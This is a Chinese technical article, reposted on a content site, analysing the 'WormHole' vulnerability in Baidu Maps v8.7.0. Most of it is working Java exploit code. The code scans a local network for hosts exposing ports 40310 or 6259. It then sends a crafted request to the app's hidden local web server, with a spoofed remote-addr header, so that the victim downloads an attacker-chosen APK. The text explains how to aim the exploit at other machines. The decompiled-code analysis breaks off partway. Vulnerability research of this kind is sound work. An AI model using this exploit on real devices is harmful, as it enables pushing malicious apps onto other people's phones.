admin管理员组文章数量:1597400
0x00
我们以百度地图v8.7.0为例来分析百度蠕虫漏洞,apk下载地址为https://github/jltxgcy/AppVulnerability/Baidu_Maps_v8.7.0.apk。
使用Android Killer来打开这个apk,Android Killer下载地址为http://pan.baidu/s/1jGQUzwa。
我们先讲述如何在代码层利用这个漏洞,然后再分析其原理。
百度蠕虫漏洞利用代码地址:https://github/jltxgcy/AppVulnerability/tree/master/BaiduWormHole。
0x01
1、首先要安装百度地图v8.7.0的apk,并启动apk。因为apk启动后才有这个漏洞,才可以被利用。
2、 然后运行BaiduWormHole这个Android工程,运行后效果如下图:
点击扫描按钮,实际上看局域网内是否有可以被利用的端口40310。代码如下:
private List<String> checkHosts(String subnet) {
List<String> ret = new ArrayList<>();
for (int i = 1; i < 255; i++) {
String host = subnet + "." + i;
if (isReachable(host, 6259)) {
host += ":6259";
ret.add(host);
} else if (isReachable(host, 40310)) {
host += ":40310";
ret.add(host);
}
}
return ret;
}
比如局域网本机IP为10.10.154.12,那么会遍历从10.10.154.0:40310~10.10.154.255:40310是否可连接,可连接说明可以利用这个漏洞。这是为什么呢?我们一会分析。isReadable实现如下:
private boolean isReachable(String host, int port) {
SocketAddress sockaddr = new InetSocketAddress(host, port);
Socket socket = new Socket();
try {
socket.connect(sockaddr, timeout);
} catch (Exception e) {
return false;
} finally {
try {
socket.close();
} catch (IOException ex) {
}
}
return true;
}
我们接着看点击开始,会执行什么代码:
URL url;
try {
url = new URL("http://127.0.0.1:40310/downloadfile?callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl="
+ urlText.getText().toString() + "&savepath=Download1&filesize=10");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("remote-addr", "127.0.0.1");
conn.setRequestProperty("referer", "http://www.baidu");
int responseCode = conn.getResponseCode();
if (responseCode == HttpURLConnection.HTTP_OK){
return convertStreamToString(conn.getInputStream());
}
}
catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
刚刚判断了局域网内是否有可以被攻击的对象。我们假设本机的IP地址为10.10.154.12,假设本机和另一个机器10.10.154.18都安装百度地图v8.7.0的apk,并且已经运行过。那么扫描的结果就是这两个ip地址,
10.10.154.12和10.10.154.18。
在我们这个工程中,直接写死了127.0.0.1说明是本机地址也就是10.10.154.12。如果想攻击局域网内其他机器,如10.10.154.18,那么要改为10.10.154.18。便可攻击局域网其他机器。
我们以本机攻击为例,实际上百度蠕虫漏洞的本质是百度应用在本机利用socket开了一个简易的WebServer,参考使用NanoHttpd实现简易WebServer。
以上url请求后,会根据downloadurl的地址下载对应的内容,这个例子是下载微信apk,然后提示用户安装。
0x02
下面分析原理,我们先从后往前推理,参考NanoHttpd实现简易WebServer。百度地图也一定初始化了ServerSocket,我们找到对应的代码位于com.baidu.hello.patch.moplus.nebula.b包下a类中a()方法。如下:
public void a()
{
this.c = new ServerSocket();
ServerSocket localServerSocket = this.c;
if (this.a != null) {}
for (InetSocketAddress localInetSocketAddress = new InetSocketAddress(this.a, this.b);; localInetSocketAddress = new InetSocketAddress(this.b))
{
localServerSocket.bind(localInetSocketAddress);
this.e = new Thread(new v(this));
this.e.setDaemon(true);
this.e.setName("NanoHttpd Main Listener");
this.e.start();
return;
}
}
我们还记版权声明:本文标题:百度全系APP SDK漏洞–WormHole虫洞漏洞 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1728282078a1151915.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论